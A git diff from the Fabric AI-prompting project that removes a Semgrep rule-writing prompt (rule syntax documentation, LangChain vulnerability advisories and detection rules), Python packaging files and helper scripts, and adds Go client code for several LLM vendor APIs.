-The above rule matches both examples below:
-
-insecure_func1(something)
-insecure_func2(something)
-
-insecure_func1(something)
-insecure_func2(something_else)
-
-Metavariables in complex logic
-
-Metavariable matching still affects subsequent logical ORs if the parent is a logical AND.
-
-Example:
-
-patterns:
-
-- pattern-inside: |
- def $F($X):
- ...
-- pattern-either:
- - pattern: bar($X)
- - pattern: baz($X)
-
-The above rule matches both examples below:
-
-def foo(something):
-bar(something)
-
-def foo(something):
-baz(something)
-
-The example rule doesn’t match this code:
-
-def foo(something):
-bar(something_else)
-
-options
-
-Enable, disable, or modify the following matching features:
-
-Option Default Description
-ac_matching true Matching modulo associativity and commutativity, treat Boolean AND/OR as associative, and bitwise AND/OR/XOR as both associative and commutative.
-attr_expr true Expression patterns (for example: f($X)) matches attributes (for example: @f(a)).
-commutative_boolop false Treat Boolean AND/OR as commutative even if not semantically accurate.
-constant_propagation true Constant propagation, including intra-procedural flow-sensitive constant propagation.
-generic_comment_style none In generic mode, assume that comments follow the specified syntax. They are then ignored for matching purposes. Allowed values for comment styles are:
-c for traditional C-style comments (/_ ... _/).
-cpp for modern C or C++ comments (// ... or /_ ... _/).
-shell for shell-style comments (# ...).
-By default, the generic mode does not recognize any comments. Available since Semgrep version 0.96. For more information about generic mode, see Generic pattern matching documentation.
-generic_ellipsis_max_span 10 In generic mode, this is the maximum number of newlines that an ellipsis operator ... can match or equivalently, the maximum number of lines covered by the match minus one. The default value is 10 (newlines) for performance reasons. Increase it with caution. Note that the same effect as 20 can be achieved without changing this setting and by writing ... ... in the pattern instead of .... Setting it to 0 is useful with line-oriented languages (for example INI or key-value pairs in general) to force a match to not extend to the next line of code. Available since Semgrep 0.96. For more information about generic mode, see Generic pattern matching documentation.
-taint_assume_safe_functions false Experimental option which will be subject to future changes. Used in taint analysis. Assume that function calls do not propagate taint from their arguments to their output. Otherwise, Semgrep always assumes that functions may propagate taint. Can replace not-conflicting sanitizers added in v0.69.0 in the future.
-taint_assume_safe_indexes false Used in taint analysis. Assume that an array-access expression is safe even if the index expression is tainted. Otherwise Semgrep assumes that for example: a[i] is tainted if i is tainted, even if a is not. Enabling this option is recommended for high-signal rules, whereas disabling is preferred for audit rules. Currently, it is disabled by default to attain backwards compatibility, but this can change in the near future after some evaluation.
-vardef_assign true Assignment patterns (for example $X = $E) match variable declarations (for example var x = 1;).
-xml_attrs_implicit_ellipsis true Any XML/JSX/HTML element patterns have implicit ellipsis for attributes (for example: matches .
-The full list of available options can be consulted in the Semgrep matching engine configuration module. Note that options not included in the table above are considered experimental, and they may change or be removed without notice.
-
-fix
-
-The fix top-level key allows for simple autofixing of a pattern by suggesting an autofix for each match. Run semgrep with --autofix to apply the changes to the files.
-
-Example:
-
-rules:
-
-- id: use-dict-get
- patterns:
- - pattern: $DICT[$KEY]
- fix: $DICT.get($KEY)
- message: "Use `.get()` method to avoid a KeyNotFound error"
- languages: [python]
- severity: ERROR
-
-For more information about fix and --autofix see Autofix documentation.
-
-metadata
-
-Provide additional information for a rule with the metadata: key, such as a related CWE, likelihood, OWASP.
-
-Example:
-
-rules:
-
-- id: eqeq-is-bad
- patterns:
- - [...]
- message: "useless comparison operation `$X == $X` or `$X != $X`"
- metadata:
- cve: CVE-2077-1234
- discovered-by: Ikwa L'equale
-
-The metadata are also displayed in the output of Semgrep if you’re running it with --json. Rules with category: security have additional metadata requirements. See Including fields required by security category for more information.
-
-min-version and max-version
-
-Each rule supports optional fields min-version and max-version specifying minimum and maximum Semgrep versions. If the Semgrep version being used doesn't satisfy these constraints, the rule is skipped without causing a fatal error.
-
-Example rule:
-
-rules:
-
-- id: bad-goflags
- # earlier semgrep versions can't parse the pattern
- min-version: 1.31.0
- pattern: |
- ENV ... GOFLAGS='-tags=dynamic -buildvcs=false' ...
- languages: [dockerfile]
- message: "We should not use these flags"
- severity: WARNING
-
-Another use case is when a newer version of a rule works better than before but relies on a new feature. In this case, we could use min-version and max-version to ensure that either the older or the newer rule is used but not both. The rules would look like this:
-
-rules:
-
-- id: something-wrong-v1
- max-version: 1.72.999
- ...
-- id: something-wrong-v2
- min-version: 1.73.0
- # 10x faster than v1!
- ...
-
-The min-version/max-version feature is available since Semgrep 1.38.0. It is intended primarily for publishing rules that rely on newly-released features without causing errors in older Semgrep installations.
-
-category
-
-Provide a category for users of the rule. For example: best-practice, correctness, maintainability. For more information, see Semgrep registry rule requirements.
-
-paths
-
-Excluding a rule in paths
-
-To ignore a specific rule on specific files, set the paths: key with one or more filters. Paths are relative to the root directory of the scanned project.
-
-Example:
-
-rules:
-
-- id: eqeq-is-bad
- pattern: $X == $X
- paths:
- exclude: - "_.jinja2" - "_\_test.go" - "project/tests" - project/static/\*.js
-
-When invoked with semgrep -f rule.yaml project/, the above rule runs on files inside project/, but no results are returned for:
-
-any file with a .jinja2 file extension
-any file whose name ends in \_test.go, such as project/backend/server_test.go
-any file inside project/tests or its subdirectories
-any file matching the project/static/\*.js glob pattern
-NOTE
-The glob syntax is from Python's wcmatch and is used to match against the given file and all its parent directories.
-Limiting a rule to paths
-
-Conversely, to run a rule only on specific files, set a paths: key with one or more of these filters:
-
-rules:
-
-- id: eqeq-is-bad
- pattern: $X == $X
- paths:
- include: - "_\_test.go" - "project/server" - "project/schemata" - "project/static/_.js" - "tests/\*_/_.js"
-
-When invoked with semgrep -f rule.yaml project/, this rule runs on files inside project/, but results are returned only for:
-
-files whose name ends in \_test.go, such as project/backend/server_test.go
-files inside project/server, project/schemata, or their subdirectories
-files matching the project/static/\*.js glob pattern
-all files with the .js extension, arbitrary depth inside the tests folder
-If you are writing tests for your rules, add any test file or directory to the included paths as well.
-
-NOTE
-When mixing inclusion and exclusion filters, the exclusion ones take precedence.
-Example:
-
-paths:
-include: "project/schemata"
-exclude: "\*\_internal.py"
-
-The above rule returns results from project/schemata/scan.py but not from project/schemata/scan_internal.py.
-
-Other examples
-
-This section contains more complex rules that perform advanced code searching.
-
-Complete useless comparison
-
-rules:
-
-- id: eqeq-is-bad
- patterns:
- - pattern-not-inside: |
- def **eq**(...):
- ...
- - pattern-not-inside: assert(...)
- - pattern-not-inside: assertTrue(...)
- - pattern-not-inside: assertFalse(...)
- - pattern-either:
- - pattern: $X == $X
- - pattern: $X != $X
- - patterns:
- - pattern-inside: |
- def **init**(...):
- ...
- - pattern: self.$X == self.$X
- - pattern-not: 1 == 1
- message: "useless comparison operation `$X == $X` or `$X != $X`"
-
-The above rule makes use of many operators. It uses pattern-either, patterns, pattern, and pattern-inside to carefully consider different cases, and uses pattern-not-inside and pattern-not to whitelist certain useless comparisons.
-
-END SEMGREP RULE SYNTAX
-
-RULE EXAMPLES
-
-ISSUE:
-
-langchain arbitrary code execution vulnerability
-Critical severity GitHub Reviewed Published on Jul 3 to the GitHub Advisory Database • Updated 5 days ago
-Vulnerability details
-Dependabot alerts2
-Package
-langchain (pip)
-Affected versions
-< 0.0.247
-Patched versions
-0.0.247
-Description
-An issue in langchain allows an attacker to execute arbitrary code via the PALChain in the python exec method.
-References
-https://nvd.nist.gov/vuln/detail/CVE-2023-36258
-https://github.com/pypa/advisory-database/tree/main/vulns/langchain/PYSEC-2023-98.yaml
-langchain-ai/langchain#5872
-langchain-ai/langchain#5872 (comment)
-langchain-ai/langchain#6003
-langchain-ai/langchain#7870
-langchain-ai/langchain#8425
-Published to the GitHub Advisory Database on Jul 3
-Reviewed on Jul 6
-Last updated 5 days ago
-Severity
-Critical
-9.8
-/ 10
-CVSS base metrics
-Attack vector
-Network
-Attack complexity
-Low
-Privileges required
-None
-User interaction
-None
-Scope
-Unchanged
-Confidentiality
-High
-Integrity
-High
-Availability
-High
-CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-Weaknesses
-No CWEs
-CVE ID
-CVE-2023-36258
-GHSA ID
-GHSA-2qmj-7962-cjq8
-Source code
-hwchase17/langchain
-This advisory has been edited. See History.
-See something to contribute? Suggest improvements for this vulnerability.
-
-RULE:
-
-r2c-internal-project-depends-on:
-depends-on-either: - namespace: pypi
-package: langchain
-version: < 0.0.236
-languages:
-
-- python
- severity: ERROR
- patterns:
-- pattern-either:
- - patterns:
- - pattern-either:
- - pattern-inside: |
- $PAL = langchain.chains.PALChain.from_math_prompt(...)
- ...
- - pattern-inside: |
- $PAL = langchain.chains.PALChain.from_colored_object_prompt(...)
- ...
- - pattern: $PAL.run(...)
- - patterns:
- - pattern-either:
- - pattern: langchain.chains.PALChain.from_colored_object_prompt(...).run(...)
- - pattern: langchain.chains.PALChain.from_math_prompt(...).run(...)
-
-ISSUE:
-
-langchain vulnerable to arbitrary code execution
-Critical severity GitHub Reviewed Published on Aug 22 to the GitHub Advisory Database • Updated 2 weeks ago
-Vulnerability details
-Dependabot alerts2
-Package
-langchain (pip)
-Affected versions
-< 0.0.312
-Patched versions
-0.0.312
-Description
-An issue in langchain v.0.0.171 allows a remote attacker to execute arbitrary code via the via the a json file to the load_prompt parameter.
-References
-https://nvd.nist.gov/vuln/detail/CVE-2023-36281
-langchain-ai/langchain#4394
-https://aisec.today/LangChain-2e6244a313dd46139c5ef28cbcab9e55
-https://github.com/pypa/advisory-database/tree/main/vulns/langchain/PYSEC-2023-151.yaml
-langchain-ai/langchain#10252
-langchain-ai/langchain@22abeb9
-Published to the GitHub Advisory Database on Aug 22
-Reviewed on Aug 23
-Last updated 2 weeks ago
-Severity
-Critical
-9.8
-/ 10
-CVSS base metrics
-Attack vector
-Network
-Attack complexity
-Low
-Privileges required
-None
-User interaction
-None
-Scope
-Unchanged
-Confidentiality
-High
-Integrity
-High
-Availability
-High
-CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-Weaknesses
-CWE-94
-CVE ID
-CVE-2023-36281
-GHSA ID
-GHSA-7gfq-f96f-g85j
-Source code
-langchain-ai/langchain
-Credits
-eyurtsev
-
-RULE:
-
-r2c-internal-project-depends-on:
-depends-on-either: - namespace: pypi
-package: langchain
-version: < 0.0.312
-languages:
-
-- python
- severity: ERROR
- patterns:
-- metavariable-regex:
- metavariable: $PACKAGE
- regex: (langchain)
-- pattern-inside: |
- import $PACKAGE
- ...
-- pattern: langchain.prompts.load_prompt(...)
-
-END CONTEXT
-
-# OUTPUT INSTRUCTIONS
-
-- Output a correct semgrep rule like the EXAMPLES above that will catch any generic instance of the problem, not just the specific instance in the input.
-- Do not overfit on the specific example in the input. Make it a proper Semgrep rule that will capture the general case.
-- Do not output warnings or notes—just the requested sections.
-
-# INPUT
-
-INPUT:
diff --git a/patterns/write_semgrep_rule/user.md b/patterns/write_semgrep_rule/user.md
deleted file mode 100644
index e69de29..0000000
diff --git a/poetry.lock b/poetry.lock
deleted file mode 100644
index bca0a18..0000000
--- a/poetry.lock
+++ /dev/null
@@ -1,7104 +0,0 @@
-# This file is automatically @generated by Poetry 1.8.2 and should not be changed by hand.
-
-[[package]]
-name = "aiofiles"
-version = "23.2.1"
-description = "File support for asyncio."
-optional = false
-python-versions = ">=3.7"
-files = [
- {file = "aiofiles-23.2.1-py3-none-any.whl", hash = "sha256:19297512c647d4b27a2cf7c34caa7e405c0d60b5560618a29a9fe027b18b0107"},
- {file = "aiofiles-23.2.1.tar.gz", hash = "sha256:84ec2218d8419404abcb9f0c02df3f34c6e0a68ed41072acfb1cef5cbc29051a"},
-]
-
-[[package]]
-name = "aiohttp"
-version = "3.9.4"
-description = "Async http client/server framework (asyncio)"
-optional = false
-python-versions = ">=3.8"
-files = [
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-]
-
-[package.dependencies]
-idna = ">=2.0"
-multidict = ">=4.0"
-
-[[package]]
-name = "youtube-transcript-api"
-version = "0.6.2"
-description = "This is an python API which allows you to get the transcripts/subtitles for a given YouTube video. It also works for automatically generated subtitles, supports translating subtitles and it does not require a headless browser, like other selenium based solutions do!"
-optional = false
-python-versions = "*"
-files = [
- {file = "youtube_transcript_api-0.6.2-py3-none-any.whl", hash = "sha256:019dbf265c6a68a0591c513fff25ed5a116ce6525832aefdfb34d4df5567121c"},
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-]
-
-[package.dependencies]
-requests = "*"
-
-[[package]]
-name = "zipp"
-version = "3.18.0"
-description = "Backport of pathlib-compatible object wrapper for zip files"
-optional = false
-python-versions = ">=3.8"
-files = [
- {file = "zipp-3.18.0-py3-none-any.whl", hash = "sha256:c1bb803ed69d2cce2373152797064f7e79bc43f0a3748eb494096a867e0ebf79"},
- {file = "zipp-3.18.0.tar.gz", hash = "sha256:df8d042b02765029a09b157efd8e820451045890acc30f8e37dd2f94a060221f"},
-]
-
-[package.extras]
-docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"]
-testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "pytest (>=6)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-ignore-flaky", "pytest-mypy", "pytest-ruff (>=0.2.1)"]
-
-[[package]]
-name = "zope-event"
-version = "5.0"
-description = "Very basic event publishing system"
-optional = false
-python-versions = ">=3.7"
-files = [
- {file = "zope.event-5.0-py3-none-any.whl", hash = "sha256:2832e95014f4db26c47a13fdaef84cef2f4df37e66b59d8f1f4a8f319a632c26"},
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-]
-
-[package.dependencies]
-setuptools = "*"
-
-[package.extras]
-docs = ["Sphinx"]
-test = ["zope.testrunner"]
-
-[[package]]
-name = "zope-interface"
-version = "6.2"
-description = "Interfaces for Python"
-optional = false
-python-versions = ">=3.7"
-files = [
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- {file = "zope.interface-6.2.tar.gz", hash = "sha256:3b6c62813c63c543a06394a636978b22dffa8c5410affc9331ce6cdb5bfa8565"},
-]
-
-[package.dependencies]
-setuptools = "*"
-
-[package.extras]
-docs = ["Sphinx", "repoze.sphinx.autointerface", "sphinx_rtd_theme"]
-test = ["coverage (>=5.0.3)", "zope.event", "zope.testing"]
-testing = ["coverage (>=5.0.3)", "zope.event", "zope.testing"]
-
-[metadata]
-lock-version = "2.0"
-python-versions = "^3.10"
-content-hash = "5732b76a0ab3501228efa6c0091e4a66bd84def76c8934f06b9219dc2c9d3ad3"
diff --git a/pyproject.toml b/pyproject.toml
deleted file mode 100644
index 4594093..0000000
--- a/pyproject.toml
+++ /dev/null
@@ -1,73 +0,0 @@
-[tool.poetry]
-name = "fabric"
-version = "1.2.0"
-description = "Fabric - AI framework for human augmentation"
-authors = [
- "Daniel Miessler ",
- "Jonathan Dunn ",
- "Scott Behrens ",
-]
-packages = [
- { include = "installer"}
-]
-
-[tool.poetry.dependencies]
-python = ">=3.10,<3.13"
-crewai = "^0.22.5"
-unstructured = "0.10.25"
-pyowm = "3.3.0"
-tools = "^0.1.9"
-langchain-community = "^0.0.25"
-google-api-python-client = "^2.120.0"
-isodate = "^0.6.1"
-youtube-transcript-api = "^0.6.2"
-pydub = "^0.25.1"
-ollama = "^0.1.7"
-anthropic = "^0.18.1"
-pyperclip = "^1.8.2"
-python-dotenv = "1.0.0"
-jwt = "^1.3.1"
-flask = "^3.0.2"
-helpers = "^0.2.0"
-praisonai = "^0.0.18"
-google-generativeai = "^0.5.3"
-
-[tool.poetry.group.cli.dependencies]
-pyyaml = "^6.0.1"
-requests = "^2.32.0"
-python-socketio = "^5.11.0"
-websocket-client = "^1.7.0"
-flask = "^3.0.2"
-flask-sqlalchemy = "^3.1.1"
-flask-login = "^0.6.3"
-flask-jwt-extended = "^4.6.0"
-python-dotenv = "1.0.0"
-openai = "^1.11.0"
-flask-socketio = "^5.3.6"
-flask-sock = "^0.7.0"
-gunicorn = "^22.0.0"
-gevent = "^23.9.1"
-httpx = ">=0.25.2,<0.26.0"
-tqdm = "^4.66.3"
-
-[tool.poetry.group.server.dependencies]
-requests = "^2.32.0"
-openai = "^1.12.0"
-flask = "^3.0.2"
-python-dotenv = "1.0.0"
-jwt = "^1.3.1"
-
-
-[build-system]
-requires = ["poetry-core"]
-build-backend = "poetry.core.masonry.api"
-
-
-# Creates python "binaries"
-[tool.poetry.scripts]
-fabric = 'installer:cli'
-fabric-api = 'installer:run_api_server'
-fabric-webui = 'installer:run_webui_server'
-ts = 'installer:main_ts'
-yt = 'installer:main_yt'
-save = 'installer:main_save'
diff --git a/setup.sh b/setup.sh
deleted file mode 100755
index bc0dcdb..0000000
--- a/setup.sh
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-echo "The new installer is now available via pipx."
-echo ""
-echo "Run 'pipx install .' to begin."
diff --git a/update-suggest-pattern-user.sh b/update-suggest-pattern-user.sh
deleted file mode 100644
index 9b02657..0000000
--- a/update-suggest-pattern-user.sh
+++ /dev/null
@@ -1,66 +0,0 @@
-#!/bin/zsh
-
-# Set the base directory
-BASE_DIR="${HOME}/.config/fabric/patterns"
-OUTPUT_DIR="${BASE_DIR}/suggest_pattern"
-
-# Create the output directory if it doesn't exist
-mkdir -p "$OUTPUT_DIR"
-
-# If the file doesn't exist, create the user.md file
-if [[ ! -f "$OUTPUT_DIR/user.md" ]]; then
- echo "Creating user.md file..."
- echo "CONTENT: \n\n" > $OUTPUT_DIR/user.md
-fi
-
-# Process README.md for command formation info
-README_FILE="$BASE_DIR/../README.md"
-# Skip if user.md has "# OVERVIEW" section
-if grep -q "# OVERVIEW" $OUTPUT_DIR/user.md; then
- echo "Skipping README.md..."
-elif [[ -f "$README_FILE" ]]; then
- echo "Processing README.md for command formation info..."
-
- # Extract relevant sections from README.md
- fabric -p explain_docs < "$README_FILE" >> $OUTPUT_DIR/user.md
-fi
-
-# If the file doesn't include "# PATTERNS" section, add it
-if ! grep -q "# PATTERNS" $OUTPUT_DIR/user.md; then
- echo "\n\n# PATTERNS\n" >> $OUTPUT_DIR/user.md
-fi
-
-# Function to process each pattern directory
-process_pattern() {
- local pattern_name=$(basename "$1")
- local system_file="$1/system.md"
- local readme_file="$1/README.md"
-
- # Skip if pattern_name is already in the user.md file
- if grep -q "# $pattern_name" $OUTPUT_DIR/user.md; then
- echo "Skipping $pattern_name..."
- return
- fi
-
- # Use the README file if it exists
- if [[ -f "$readme_file" ]]; then
- echo "Processing $pattern_name (README.md)..."
-
- # Run fabric summarize on system.md and append to user.md
- local summary=$(fabric -p summarize_prompt < "$readme_file")
- echo "## $pattern_name\n$summary\n" >> $OUTPUT_DIR/user.md
- elif [[ -f "$system_file" ]]; then
- echo "Processing $pattern_name (system.md)..."
-
- # Run fabric summarize on system.md and append to user.md
- local summary=$(fabric -p summarize_prompt < "$system_file")
- echo "## $pattern_name\n$summary\n" >> $OUTPUT_DIR/user.md
- fi
-}
-
-# Process all pattern directories
-for dir in $BASE_DIR/*/; do
- process_pattern "$dir"
-done
-
-echo "Processing complete. Context file updated at $OUTPUT_DIR/user.md"
\ No newline at end of file
diff --git a/utils/log.go b/utils/log.go
new file mode 100644
index 0000000..c100f17
--- /dev/null
+++ b/utils/log.go
@@ -0,0 +1,28 @@
+package utils
+
+import (
+ "fmt"
+ "os"
+
+ "gopkg.in/gookit/color.v1"
+)
+
+func Print(info string) {
+ fmt.Println(info)
+}
+
+func PrintWarning (s string) {
+ fmt.Println(color.Yellow.Render("Warning: " + s))
+}
+
+func LogError(err error) {
+ fmt.Fprintln(os.Stderr, color.Red.Render(err.Error()))
+}
+
+func LogWarning(err error) {
+ fmt.Fprintln(os.Stderr, color.Yellow.Render(err.Error()))
+}
+
+func Log(info string) {
+ fmt.Println(color.Green.Render(info))
+}
\ No newline at end of file
diff --git a/vendors/anthropic/anthropic.go b/vendors/anthropic/anthropic.go
new file mode 100644
index 0000000..924ec27
--- /dev/null
+++ b/vendors/anthropic/anthropic.go
@@ -0,0 +1,136 @@
+package anthropic
+
+import (
+ "context"
+ "errors"
+ "fmt"
+
+ "github.com/danielmiessler/fabric/common"
+ "github.com/liushuangls/go-anthropic/v2"
+)
+
+func NewClient() (ret *Client) {
+ vendorName := "Anthropic"
+ ret = &Client{}
+
+ ret.Configurable = &common.Configurable{
+ Label: vendorName,
+ EnvNamePrefix: common.BuildEnvVariablePrefix(vendorName),
+ ConfigureCustom: ret.configure,
+ }
+
+ ret.ApiKey = ret.Configurable.AddSetupQuestion("API key", true)
+
+ // we could provide a setup question for the following settings
+ ret.maxTokens = 4096
+ ret.defaultRequiredUserMessage = "Hi"
+ ret.models = []string{
+ anthropic.ModelClaude3Haiku20240307, anthropic.ModelClaude3Opus20240229,
+ anthropic.ModelClaude3Opus20240229, anthropic.ModelClaude2Dot0, anthropic.ModelClaude2Dot1,
+ anthropic.ModelClaudeInstant1Dot2, "claude-3-5-sonnet-20240620",
+ }
+
+ return
+}
+
+type Client struct {
+ *common.Configurable
+ ApiKey *common.SetupQuestion
+
+ maxTokens int
+ defaultRequiredUserMessage string
+ models []string
+
+ client *anthropic.Client
+}
+
+func (an *Client) configure() (err error) {
+ an.client = anthropic.NewClient(an.ApiKey.Value)
+ return
+}
+
+func (an *Client) ListModels() (ret []string, err error) {
+ return an.models, nil
+}
+
+func (an *Client) SendStream(
+ msgs []*common.Message, opts *common.ChatOptions, channel chan string,
+) (err error) {
+ ctx := context.Background()
+ req := an.buildMessagesRequest(msgs, opts)
+ req.Stream = true
+
+ if _, err = an.client.CreateMessagesStream(ctx, anthropic.MessagesStreamRequest{
+ MessagesRequest: req,
+ OnContentBlockDelta: func(data anthropic.MessagesEventContentBlockDeltaData) {
+ // fmt.Printf("Stream Content: %s\n", data.Delta.Text)
+ channel <- *data.Delta.Text
+ },
+ }); err != nil {
+ var e *anthropic.APIError
+ if errors.As(err, &e) {
+ fmt.Printf("Messages stream error, type: %s, message: %s", e.Type, e.Message)
+ } else {
+ fmt.Printf("Messages stream error: %v\n", err)
+ }
+ } else {
+ // TODO why closing the channel here? It was opened in the parent method, so it should be closed there
+ close(channel)
+ }
+ return
+}
+
+func (an *Client) Send(msgs []*common.Message, opts *common.ChatOptions) (ret string, err error) {
+ ctx := context.Background()
+ req := an.buildMessagesRequest(msgs, opts)
+ req.Stream = false
+
+ var resp anthropic.MessagesResponse
+ if resp, err = an.client.CreateMessages(ctx, req); err == nil {
+ ret = *resp.Content[0].Text
+ } else {
+ var e *anthropic.APIError
+ if errors.As(err, &e) {
+ fmt.Printf("Messages error, type: %s, message: %s", e.Type, e.Message)
+ } else {
+ fmt.Printf("Messages error: %v\n", err)
+ }
+ }
+ return
+}
+
+func (an *Client) buildMessagesRequest(msgs []*common.Message, opts *common.ChatOptions) (ret anthropic.MessagesRequest) {
+ temperature := float32(opts.Temperature)
+ topP := float32(opts.TopP)
+
+ messages := an.toMessages(msgs)
+
+ ret = anthropic.MessagesRequest{
+ Model: opts.Model,
+ Temperature: &temperature,
+ TopP: &topP,
+ Messages: messages,
+ MaxTokens: an.maxTokens,
+ }
+ return
+}
+
+func (an *Client) toMessages(msgs []*common.Message) (ret []anthropic.Message) {
+ // we could call the method before calling the specific vendor
+ normalizedMessages := common.NormalizeMessages(msgs, an.defaultRequiredUserMessage)
+
+ // Iterate over the incoming session messages and process them
+ for _, msg := range normalizedMessages {
+ var message anthropic.Message
+ switch msg.Role {
+ case "user":
+ message = anthropic.NewUserTextMessage(msg.Content)
+ case "system":
+ message = anthropic.NewAssistantTextMessage(msg.Content)
+ default:
+ message = anthropic.NewAssistantTextMessage(msg.Content)
+ }
+ ret = append(ret, message)
+ }
+ return
+}
diff --git a/vendors/azure/azure.go b/vendors/azure/azure.go
new file mode 100644
index 0000000..c4f6c4f
--- /dev/null
+++ b/vendors/azure/azure.go
@@ -0,0 +1,41 @@
+package azure
+
+import (
+ "strings"
+
+ "github.com/danielmiessler/fabric/common"
+ "github.com/danielmiessler/fabric/vendors/openai"
+ goopenai "github.com/sashabaranov/go-openai"
+)
+
+func NewClient() (ret *Client) {
+ ret = &Client{}
+ ret.Client = openai.NewClientCompatible("Azure", ret.configure)
+
+ ret.ApiEndpoint = ret.AddSetupQuestion("API endpoint", true)
+ ret.ApiDeployments = ret.AddSetupQuestionCustom("deployments", true,
+ "Enter your Azure deployments (comma separated)")
+
+ return
+}
+
+type Client struct {
+ *openai.Client
+ ApiEndpoint *common.SetupQuestion
+ ApiDeployments *common.SetupQuestion
+
+ apiDeployments []string
+}
+
+func (oi *Client) configure() (err error) {
+ oi.apiDeployments = strings.Split(oi.ApiDeployments.Value, ",")
+ oi.ApiClient = goopenai.NewClientWithConfig(goopenai.DefaultAzureConfig(oi.ApiKey.Value, oi.ApiEndpoint.Value))
+ return
+}
+
+func (oi *Client) ListModels() (ret []string, err error) {
+ // Azure Open Client has models and deployments. We need to get the deployments to use them for chat
+ // There is no easy way to get the deployments from the API, so we need to ask the user to provide them
+ ret = oi.apiDeployments
+ return
+}
diff --git a/vendors/gemini/gemini.go b/vendors/gemini/gemini.go
new file mode 100644
index 0000000..ed8da40
--- /dev/null
+++ b/vendors/gemini/gemini.go
@@ -0,0 +1,144 @@
+package gemini
+
+import (
+ "context"
+ "errors"
+
+ "github.com/danielmiessler/fabric/common"
+ "github.com/google/generative-ai-go/genai"
+ "google.golang.org/api/iterator"
+ "google.golang.org/api/option"
+)
+
+func NewClient() (ret *Client) {
+ vendorName := "Gemini"
+ ret = &Client{}
+
+ ret.Configurable = &common.Configurable{
+ Label: vendorName,
+ EnvNamePrefix: common.BuildEnvVariablePrefix(vendorName),
+ }
+
+ ret.ApiKey = ret.Configurable.AddSetupQuestion("API key", true)
+
+ return
+}
+
+type Client struct {
+ *common.Configurable
+ ApiKey *common.SetupQuestion
+
+ client *genai.Client
+}
+
+func (ge *Client) ListModels() (ret []string, err error) {
+ ctx := context.Background()
+ var client *genai.Client
+ if client, err = genai.NewClient(ctx, option.WithAPIKey(ge.ApiKey.Value)); err != nil {
+ return
+ }
+ defer client.Close()
+
+ iter := client.ListModels(ctx)
+ for {
+ var resp *genai.ModelInfo
+ if resp, err = iter.Next(); err != nil {
+ break
+ }
+ ret = append(ret, resp.Name)
+ }
+ return
+}
+
+func (ge *Client) Send(msgs []*common.Message, opts *common.ChatOptions) (ret string, err error) {
+ systemInstruction, userText := toContent(msgs)
+
+ ctx := context.Background()
+ var client *genai.Client
+ if client, err = genai.NewClient(ctx, option.WithAPIKey(ge.ApiKey.Value)); err != nil {
+ return
+ }
+ defer client.Close()
+
+ model := ge.client.GenerativeModel(opts.Model)
+ model.SetTemperature(float32(opts.Temperature))
+ model.SetTopP(float32(opts.TopP))
+ model.SystemInstruction = systemInstruction
+
+ var response *genai.GenerateContentResponse
+ if response, err = model.GenerateContent(ctx, genai.Text(userText)); err != nil {
+ return
+ }
+
+ ret = ge.extractText(response)
+ return
+}
+
+func (ge *Client) SendStream(msgs []*common.Message, opts *common.ChatOptions, channel chan string) (err error) {
+ ctx := context.Background()
+ var client *genai.Client
+ if client, err = genai.NewClient(ctx, option.WithAPIKey(ge.ApiKey.Value)); err != nil {
+ return
+ }
+ defer client.Close()
+
+ systemInstruction, userText := toContent(msgs)
+
+ model := client.GenerativeModel(opts.Model)
+ model.SetTemperature(float32(opts.Temperature))
+ model.SetTopP(float32(opts.TopP))
+ model.SystemInstruction = systemInstruction
+
+ iter := model.GenerateContentStream(ctx, genai.Text(userText))
+ for {
+ var resp *genai.GenerateContentResponse
+ if resp, err = iter.Next(); err == nil {
+ for _, candidate := range resp.Candidates {
+ if candidate.Content != nil {
+ for _, part := range candidate.Content.Parts {
+ if text, ok := part.(genai.Text); ok {
+ channel <- string(text)
+ }
+ }
+ }
+ }
+ } else if errors.Is(err, iterator.Done) {
+ channel <- "\n"
+ close(channel)
+ err = nil
+ }
+ return
+ }
+}
+
+func (ge *Client) extractText(response *genai.GenerateContentResponse) (ret string) {
+ for _, candidate := range response.Candidates {
+ if candidate.Content == nil {
+ break
+ }
+ for _, part := range candidate.Content.Parts {
+ if text, ok := part.(genai.Text); ok {
+ ret += string(text)
+ }
+ }
+ }
+ return
+}
+
+// Current implementation does not support session
+// We need to retrieve the System instruction and User instruction
+// Considering how we've built msgs, it's the last 2 messages
+// FIXME: I know it's not clean, but will make it for now
+func toContent(msgs []*common.Message) (ret *genai.Content, userText string) {
+ sys := msgs[len(msgs)-2]
+ usr := msgs[len(msgs)-1]
+
+ ret = &genai.Content{
+ Parts: []genai.Part{
+ genai.Part(genai.Text(sys.Content)),
+ },
+ }
+ userText = usr.Content
+
+ return
+}
diff --git a/vendors/grocq/grocq.go b/vendors/grocq/grocq.go
new file mode 100644
index 0000000..d96fc98
--- /dev/null
+++ b/vendors/grocq/grocq.go
@@ -0,0 +1,23 @@
+package grocq
+
+import (
+ "github.com/danielmiessler/fabric/vendors/openai"
+ goopenai "github.com/sashabaranov/go-openai"
+)
+
+func NewClient() (ret *Client) {
+ ret = &Client{}
+ ret.Client = openai.NewClientCompatible("Grocq", ret.configure)
+ return
+}
+
+type Client struct {
+ *openai.Client
+}
+
+func (oi *Client) configure() (err error) {
+ config := goopenai.DefaultConfig(oi.ApiKey.Value)
+ config.BaseURL = "https://api.groq.com/openai/v1"
+ oi.ApiClient = goopenai.NewClientWithConfig(config)
+ return
+}
diff --git a/vendors/ollama/ollama.go b/vendors/ollama/ollama.go
new file mode 100644
index 0000000..4cca36a
--- /dev/null
+++ b/vendors/ollama/ollama.go
@@ -0,0 +1,121 @@
+package ollama
+
+import (
+ "context"
+ "fmt"
+ "net/http"
+ "net/url"
+ "time"
+
+ "github.com/danielmiessler/fabric/common"
+ "github.com/samber/lo"
+
+ ollamaapi "github.com/ollama/ollama/api"
+)
+
+func NewClient() (ret *Client) {
+ vendorName := "Ollama"
+ ret = &Client{}
+
+ ret.Configurable = &common.Configurable{
+ Label: vendorName,
+ EnvNamePrefix: common.BuildEnvVariablePrefix(vendorName),
+ ConfigureCustom: ret.configure,
+ }
+
+ ret.ApiUrl = ret.Configurable.AddSetupQuestionCustom("API URL", true,
